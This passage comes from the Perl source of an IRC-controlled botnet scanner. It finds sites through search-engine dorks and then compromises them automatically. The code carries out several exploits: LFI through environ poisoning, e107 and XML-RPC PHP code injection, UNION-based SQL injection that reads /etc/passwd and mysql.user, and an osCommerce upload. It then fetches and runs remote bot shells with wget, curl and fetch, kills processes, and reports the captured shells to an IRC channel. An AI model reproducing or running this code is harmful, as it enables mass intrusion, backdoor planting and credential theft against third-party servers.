| 1019 | my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo); | |
| 1020 | my $num = scalar(@list); | |
| 1021 | if ($num > 0) {
| |
| 1022 | foreach my $site (@list) {
| |
| 1023 | $count++; | |
| 1024 | if ($count == $num-1) { &msg("$chan","$lfilogo(4@9$engine15)10 Scan finish"); }
| |
| 1025 | my $dir = "../../../../../../../../../../../../../"; | |
| 1026 | my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000"; | |
| 1027 | my $vuln = "http://".$site."12".$bug.$dir."/proc/self/environ%0000"; | |
| 1028 | my $shell = "http://".$site."12".$bug.$dir."/tmp/ipays%0000"; | |
| 1029 | my $html = &get_content($test); | |
| 1030 | if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
| |
| 1031 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1032 | my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$injector.'","/tmp/ipays")) { echo "SUCCESS";@copy("'.$botshell.'","/tmp/dev");@copy("'.$botshell2.'","/tmp/maza"); }';
| |
| 1033 | my $res = lfi_env_query($test,encode_base64($code)); | |
| 1034 | &lfi_spread_query($test); | |
| 1035 | &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");
| |
| 1036 | &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");
| |
| 1037 | $res =~ s/\n//g; | |
| 1038 | if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) {
| |
| 1039 | my $sys = $1; | |
| 1040 | $nob0dy = $2; | |
| 1041 | &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@9".$sys."15))15(4@9$nob0dy15)");sleep(2);
| |
| 1042 | } | |
| 1043 | elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) {
| |
| 1044 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1045 | my $sys = $1; | |
| 1046 | $nob0dy = $2; | |
| 1047 | my $upload = 'system("killall -9 perl;killall -9 php;wget '.$injector.' -O images.php;fetch '.$injector.';mv ipays.jpg images.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");passthru("killall -9 perl;killall -9 php;wget '.$injector.' -O images.php;fetch '.$injector.';mv ipays.jpg images.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");';
| |
| 1048 | my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2); | |
| 1049 | my $check = &get_content("http://".$site.$bug.$dir."/tmp/ipays%0000"); sleep(2);
| |
| 1050 | &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2);
| |
| 1051 | &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");sleep(2);
| |
| 1052 | if ($check =~ /ipays - exploit/) {
| |
| 1053 | &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
| |
| 1054 | &msg("$admin","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
| |
| 1055 | } | |
| 1056 | else {
| |
| 1057 | &msg("$chan","$lfilogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 15(4@3".$sys."15))15(4@9$nob0dy15)");sleep(2);
| |
| 1058 | } | |
| 1059 | } exit; } | |
| 1060 | } | |
| 1061 | else { &msg("$chan","$lfilogo(4@8$engine15)15(4@9EnviRon15)10 ".$vuln); }
| |
| 1062 | } exit; } sleep(2); | |
| 1063 | } | |
| 1064 | } | |
| 1065 | } | |
| 1066 | } | |
| 1067 | ||
| 1068 | sub lfi_env_query() {
| |
| 1069 | my $url = $_[0]; | |
| 1070 | my $code = $_[1]; | |
| 1071 | my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
| |
| 1072 | $ua->timeout(7); | |
| 1073 | my $req = HTTP::Request->new(GET => $url); | |
| 1074 | my $res = $ua->request($req); | |
| 1075 | return $res->content; | |
| 1076 | } | |
| 1077 | ||
| 1078 | sub lfi_spread_query() {
| |
| 1079 | my $url = $_[0]; | |
| 1080 | my $code = "system('cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;rm -rf *.jp*;');";
| |
| 1081 | my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
| |
| 1082 | $ua->timeout(7); | |
| 1083 | my $req = HTTP::Request->new(GET => $url); | |
| 1084 | my $res = $ua->request($req); | |
| 1085 | } | |
| 1086 | ||
| 1087 | sub e107() {
| |
| 1088 | my $chan = $_[0]; | |
| 1089 | my $bug = $_[1]; | |
| 1090 | my $dork = $_[2]; | |
| 1091 | my $engine = $_[3]; | |
| 1092 | my $count = 0; | |
| 1093 | my @list = &search_engine($chan,$bug,$dork,$engine,$e107logo); | |
| 1094 | my $num = scalar(@list); | |
| 1095 | if ($num > 0) {
| |
| 1096 | foreach my $site (@list) {
| |
| 1097 | $count++; | |
| 1098 | if ($count == $num-1) { &msg("$chan","$e107logo(4@8$engine15)10 Scan finish"); }
| |
| 1099 | my $test = "http://".$site.$bug; | |
| 1100 | my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=="; | |
| 1101 | my $html = &e107_rce_query($test,$code); | |
| 1102 | if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
| |
| 1103 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1104 | my $sys = $1; | |
| 1105 | my $upload = 'if(@copy("'.$injector.'","images.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","byroe.php");@copy("'.$botshell2.'","allnet.php");} elseif(@copy("'.$injector.'","e107_themes/images.php")) { echo "ipays_dthem";@copy("'.$botshell.'","e107_themes/byroe.php");@copy("'.$botshell2.'","e107_themes/allnet.php");} elseif(@copy("'.$injector.'","e107_plugins/images.php")) { echo "ipays_dplug";@copy("'.$botshell.'","e107_plugins/byroe.php");@copy("'.$botshell2.'","e107_plugins/allnet.php");} elseif(@copy("'.$injector.'","e107_images/images.php")) { echo "ipays_dima";@copy("'.$botshell.'","e107_images/byroe.php");@copy("'.$botshell2.'","e107_images/allnet.php");}';
| |
| 1106 | my $res = &e107_rce_query($test,encode_base64($upload)); | |
| 1107 | if ($res =~ /c0liSUKSESc0li/) {
| |
| 1108 | &get_content("http://".$site."byroe.php");
| |
| 1109 | &get_content("http://".$site."allnet.php");
| |
| 1110 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1111 | &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1112 | } | |
| 1113 | elsif ($res =~ /ipays_dthem/) {
| |
| 1114 | &get_content("http://".$site."e107_themes/byroe.php");
| |
| 1115 | &get_content("http://".$site."e107_themes/allnet.php");
| |
| 1116 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1117 | &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1118 | } | |
| 1119 | elsif ($res =~ /ipays_dplug/) {
| |
| 1120 | &get_content("http://".$site."e107_plugins/byroe.php");
| |
| 1121 | &get_content("http://".$site."e107_plugins/allnet.php");
| |
| 1122 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1123 | &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1124 | } | |
| 1125 | elsif ($res =~ /ipays_dima/) {
| |
| 1126 | &get_content("http://".$site."e107_images/byroe.php");
| |
| 1127 | &get_content("http://".$site."e107_images/allnet.php");
| |
| 1128 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1129 | &msg("$admin","$e107logo(4@8$engine15)15(4@9SheLL15)13 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1130 | } | |
| 1131 | else {
| |
| 1132 | &msg("$chan","$e107logo(4@8$engine15)15(4@9Vuln15)7 ".$test." 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
| |
| 1133 | } | |
| 1134 | &e107_spread_query($test); | |
| 1135 | sleep(2); | |
| 1136 | } exit; } sleep(2); | |
| 1137 | } | |
| 1138 | elsif ($html =~ /v0pCr3w<br>sys:(.+?)<br>/) {
| |
| 1139 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1140 | my $sys = $1; | |
| 1141 | my $upload = 'if(@copy("'.$injector.'","images.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","byroe.php");@copy("'.$botshell2.'","allnet.php");} elseif(@copy("'.$injector.'","e107_themes/images.php")) { echo "ipays_dthem";@copy("'.$botshell.'","e107_themes/byroe.php");@copy("'.$botshell2.'","e107_themes/allnet.php");} elseif(@copy("'.$injector.'","e107_plugins/images.php")) { echo "ipays_dplug";@copy("'.$botshell.'","e107_plugins/byroe.php");@copy("'.$botshell2.'","e107_plugins/allnet.php");} elseif(@copy("'.$injector.'","e107_images/images.php")) { echo "ipays_dima";@copy("'.$botshell.'","e107_images/byroe.php");@copy("'.$botshell2.'","e107_images/allnet.php");}';
| |
| 1142 | my $res = &e107_rce_query($test,encode_base64($upload)); | |
| 1143 | if ($res =~ /c0liSUKSESc0li/) {
| |
| 1144 | &get_content("http://".$site."byroe.php");
| |
| 1145 | &get_content("http://".$site."allnet.php");
| |
| 1146 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
| |
| 1147 | } | |
| 1148 | if ($res =~ /ipays_dthem/) {
| |
| 1149 | &get_content("http://".$site."e107_themes/byroe.php");
| |
| 1150 | &get_content("http://".$site."e107_themes/allnet.php");
| |
| 1151 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
| |
| 1152 | } | |
| 1153 | if ($res =~ /ipays_dplug/) {
| |
| 1154 | &get_content("http://".$site."e107_plugins/byroe.php");
| |
| 1155 | &get_content("http://".$site."e107_plugins/allnet.php");
| |
| 1156 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
| |
| 1157 | } | |
| 1158 | if ($res =~ /ipays_dima/) {
| |
| 1159 | &get_content("http://".$site."e107_images/byroe.php");
| |
| 1160 | &get_content("http://".$site."e107_images/allnet.php");
| |
| 1161 | &msg("$chan","$e107logo(4@8$engine15)15(4@9SheLL15)10 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
| |
| 1162 | } | |
| 1163 | else {
| |
| 1164 | &msg("$chan","$e107logo(4@8$engine15)15(4@9Vuln15)10 ".$test." 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
| |
| 1165 | } | |
| 1166 | } exit; } sleep(2); | |
| 1167 | } | |
| 1168 | } | |
| 1169 | } | |
| 1170 | } | |
| 1171 | ||
| 1172 | sub e107_rce_query() {
| |
| 1173 | my $url = $_[0]; | |
| 1174 | my $code = $_[1]; | |
| 1175 | my $req = HTTP::Request->new(POST => $url); | |
| 1176 | $req->content_type('application/x-www-form-urlencoded');
| |
| 1177 | $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
| |
| 1178 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 1179 | $ua->timeout(7); | |
| 1180 | my $res = $ua->request($req); | |
| 1181 | return $res->content; | |
| 1182 | } | |
| 1183 | ||
| 1184 | sub e107_spread_query() {
| |
| 1185 | my $url = $_[0]; | |
| 1186 | my $code = "7ZPfasIwFMbvB3uHGAamMqv7c2XnEPYAe4FBadMTW5cmIUmtMnz3JWmrDASZsLvdpef7vt85JKdAS4nwdq7e9FP7kutXnNzeQCiavVngWJUqbURWA4liPBjuaF0scbAJmc+LvU8ntEAzW6tE12iqGSqkjidoEm/UOp4kDCwtUWmtWsxmn1Jbl46pmOW58SHvSlwvNJx7yPDZrsFen6aN5mj6fj2At2payFZwmRW/oPgb2Wb6/1Z+UMIGgYF1U/k9gh3x+xQlYZ9OgnOxRlBbSYGCh0H05ZIaDFqi8djpFUNkBLWy+072esXIEEthVxlryBh2QMdBXfljMN97UJQcgRtZCYI/BD4KB/cncAPngKYEztMTtmesTvVuoAuUvbFQ94PJPDU205b40KqTjpCB70zuyVMqhQXhEMHriiCKlHLIBLnQUmXG2FI3Z5sO4h+0lQpEf1XME0OhewessU+3ZcWBjFYMJOtfE32hMEHsAkxDVnSBh/njc5Sgg5+YcmmA3LHQ31U02EaLEPOVbw=="; | |
| 1187 | my $req = HTTP::Request->new(POST => $url); | |
| 1188 | $req->content_type('application/x-www-form-urlencoded');
| |
| 1189 | $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
| |
| 1190 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 1191 | $ua->timeout(7); | |
| 1192 | my $res = $ua->request($req); | |
| 1193 | } | |
| 1194 | ||
| 1195 | sub xml() {
| |
| 1196 | my $chan = $_[0]; | |
| 1197 | my $bug = $_[1]; | |
| 1198 | my $dork = $_[2]; | |
| 1199 | my $engine = $_[3]; | |
| 1200 | my $count = 0; | |
| 1201 | my @list = &search_engine($chan,$bug,$dork,$engine,$xmllogo); | |
| 1202 | my $num = scalar(@list); | |
| 1203 | if ($num > 0) {
| |
| 1204 | foreach my $site (@list) {
| |
| 1205 | $count++; | |
| 1206 | if ($count == $num-1) { &msg("$chan","$xmllogo(4@8$engine15)10 Scan finish"); }
| |
| 1207 | my $test = "http://".$site.$bug; | |
| 1208 | my $vuln = "http://".$site."13".$bug; | |
| 1209 | my $html = &get_content($test); | |
| 1210 | if ($html =~ /faultCode/ ) {
| |
| 1211 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1212 | my $resp = &xml_cek_query($test); | |
| 1213 | if ($resp =~ /j13mb0t(.*)j13mb0t/s) {
| |
| 1214 | &xml_spread_query($test);sleep(2); | |
| 1215 | my $sys = $1; | |
| 1216 | my $check = &get_content("http://".$site."images.php");
| |
| 1217 | &get_content("http://".$site."byroe.php");
| |
| 1218 | &get_content("http://".$site."allnet.php");
| |
| 1219 | if ($check =~ /ipays - exploit/) {
| |
| 1220 | &msg("$chan","$xmllogo(4@8$engine15)15(13@9SheLL15)13 http://".$site."7images.php 3".$sys);&get_content("http://".$site."byroe.php"); sleep(2);}
| |
| 1221 | else {
| |
| 1222 | &msg("$chan","$xmllogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 3".$sys); sleep(2);}
| |
| 1223 | } | |
| 1224 | sleep(2); } exit; } } | |
| 1225 | } | |
| 1226 | } | |
| 1227 | } | |
| 1228 | ||
| 1229 | sub xml_cek_query() {
| |
| 1230 | my $url = $_[0]; | |
| 1231 | my $code = "system('uname -a');";
| |
| 1232 | my $ua = LWP::UserAgent->new(agent => 'perl post'); | |
| 1233 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 1234 | $exploit .= "<methodName>test.method</methodName>"; | |
| 1235 | $exploit .= "<params><param><value><name>',''));"; | |
| 1236 | $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>"; | |
| 1237 | $ua->timeout(7); | |
| 1238 | my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit); | |
| 1239 | return $res->content; | |
| 1240 | } | |
| 1241 | ||
| 1242 | sub xml_spread_query() {
| |
| 1243 | my $xmltargt = $_[0]; | |
| 1244 | my $xmlsprd = "system('wget ".$injector." -O images.php;fetch ".$injector.";mv ipays.jpg images.php;wget ".$botshell." -O byroe.php;fetch ".$botshell.";mv byroe.jpg byroe.php;wget ".$botshell2." -O allnet.php;fetch ".$botshell2.";mv allnet.jpg allnet.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;');";
| |
| 1245 | my $userAgent = LWP::UserAgent->new(agent => 'perl post'); | |
| 1246 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 1247 | $exploit .= "<methodName>test.method</methodName>"; | |
| 1248 | $exploit .= "<params><param><value><name>',''));"; | |
| 1249 | $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>"; | |
| 1250 | $userAgent->timeout(7); | |
| 1251 | $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit); | |
| 1252 | } | |
| 1253 | ||
| 1254 | sub sql() {
| |
| 1255 | my $chan = $_[0]; | |
| 1256 | my $bug = $_[1]; | |
| 1257 | my $dork = $_[2]; | |
| 1258 | my $engine = $_[3]; | |
| 1259 | my $count = 0; | |
| 1260 | my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo); | |
| 1261 | my $num = scalar(@list); | |
| 1262 | if ($num > 0) {
| |
| 1263 | foreach my $site (@list) {
| |
| 1264 | $count++; | |
| 1265 | if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
| |
| 1266 | my $test = "http://".$site.$bug."'"; | |
| 1267 | my $vuln = "http://".$site."4".$bug; | |
| 1268 | my $sqlsite = "http://".$site.$bug; | |
| 1269 | my $html = &get_content($test); | |
| 1270 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1271 | if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
| |
| 1272 | &sqlbrute($sqlsite,$chan,$engine);} | |
| 1273 | elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
| |
| 1274 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
| |
| 1275 | elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
| |
| 1276 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
| |
| 1277 | elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
| |
| 1278 | &sqlbrute($sqlsite,$chan,$engine);} | |
| 1279 | } exit; sleep(2); } | |
| 1280 | } | |
| 1281 | } | |
| 1282 | } | |
| 1283 | sub sqlbrute() {
| |
| 1284 | my $situs=$_[0]; | |
| 1285 | my $chan =$_[1]; | |
| 1286 | my $engine=$_[2]; | |
| 1287 | my $columns=20; | |
| 1288 | my $cfin.="--"; | |
| 1289 | my $cmn.= "+"; | |
| 1290 | for ($column = 0 ; $column < $columns ; $column ++) | |
| 1291 | {
| |
| 1292 | $union.=','.$column; | |
| 1293 | $inyection.=','."0x6c6f67696e70776e7a"; | |
| 1294 | if ($column == 0) | |
| 1295 | {
| |
| 1296 | $inyection = ''; | |
| 1297 | $union = ''; | |
| 1298 | } | |
| 1299 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin; | |
| 1300 | $response=get($sql); | |
| 1301 | if($response =~ /loginpwnz/) | |
| 1302 | {
| |
| 1303 | $column ++; | |
| 1304 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin; | |
| 1305 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
| |
| 1306 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin; | |
| 1307 | $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
| |
| 1308 | if($response =~ /loginpwnz/) | |
| 1309 | {
| |
| 1310 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin; | |
| 1311 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
| |
| 1312 | } | |
| 1313 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin; | |
| 1314 | $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
| |
| 1315 | if($response =~ /loginpwnz/) | |
| 1316 | {
| |
| 1317 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin; | |
| 1318 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
| |
| 1319 | } | |
| 1320 | else | |
| 1321 | {
| |
| 1322 | } | |
| 1323 | while ($loadcont < $column-1) | |
| 1324 | {
| |
| 1325 | $loadfile.=','.'load_file(0x2f6574632f706173737764)'; | |
| 1326 | $loadcont++; | |
| 1327 | } | |
| 1328 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin; | |
| 1329 | $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
| |
| 1330 | if($response =~ /root:x:/) | |
| 1331 | {
| |
| 1332 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
| |
| 1333 | } | |
| 1334 | else | |
| 1335 | {
| |
| 1336 | } | |
| 1337 | foreach $tabla(@tabele) | |
| 1338 | {
| |
| 1339 | chomp($tabla); | |
| 1340 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin; | |
| 1341 | $response=get($sql)or die("[-] Impossible to get tables\n");
| |
| 1342 | if($response =~ /loginpwnz/) | |
| 1343 | {
| |
| 1344 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin; | |
| 1345 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
| |
| 1346 | &tabelka($situs,$tabla,$chan,$engine); | |
| 1347 | } | |
| 1348 | } | |
| 1349 | } | |
| 1350 | } | |
| 1351 | } | |
| 1352 | ||
| 1353 | sub tabelka() {
| |
| 1354 | my $situs =$_[0]; | |
| 1355 | my $tabla =$_[1]; | |
| 1356 | my $chan =$_[2]; | |
| 1357 | my $engine=$_[3]; | |
| 1358 | my $cfin.="--"; | |
| 1359 | my $cmn.= "+"; | |
| 1360 | chomp($tabla); | |
| 1361 | foreach $columna(@kolumny) | |
| 1362 | {
| |
| 1363 | chomp($columna); | |
| 1364 | $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin; | |
| 1365 | $response=get($sql)or die("[-] Impossible to get columns\n");
| |
| 1366 | if ($response =~ /loginpwnz/) | |
| 1367 | {
| |
| 1368 | &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13SQLi Vuln15)9 $situs 14(4@13Kolom14)13 $columna 14(4@13Tabel14)13 $tabla ");
| |
| 1369 | } | |
| 1370 | } | |
| 1371 | ||
| 1372 | } | |
| 1373 | ||
| 1374 | sub osco() {
| |
| 1375 | my $chan = $_[0]; | |
| 1376 | my $bug = $_[1]; | |
| 1377 | my $dork = $_[2]; | |
| 1378 | my $engine = $_[3]; | |
| 1379 | my $count = 0; | |
| 1380 | my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo); | |
| 1381 | my $num = scalar(@list); | |
| 1382 | if ($num > 0) {
| |
| 1383 | foreach my $site (@list) {
| |
| 1384 | $count++; | |
| 1385 | if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
| |
| 1386 | my $test = "http://".$site.$bug; | |
| 1387 | my $html = &get_content($test); | |
| 1388 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 1389 | if ($html =~ /Warning: No file uploaded/ ) {
| |
| 1390 | # &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
| |
| 1391 | &osco_xpl($test,$chan,$site,$engine); | |
| 1392 | } else { }
| |
| 1393 | } exit; sleep(2); } | |
| 1394 | } | |
| 1395 | } | |
| 1396 | } | |
| 1397 | ||
| 1398 | sub osco_xpl() {
| |
| 1399 | my $browser = LWP::UserAgent->new; | |
| 1400 | my $url = $_[0]; | |
| 1401 | my $chan = $_[1]; | |
| 1402 | my $site = $_[2]; | |
| 1403 | my $engine = $_[3]; | |
| 1404 | my $res = $browser->post( $url,['products_image' => ['./ipays.jpg' => 'config.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); | |
| 1405 | my $resb = $browser->post( $url,['products_image' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); | |
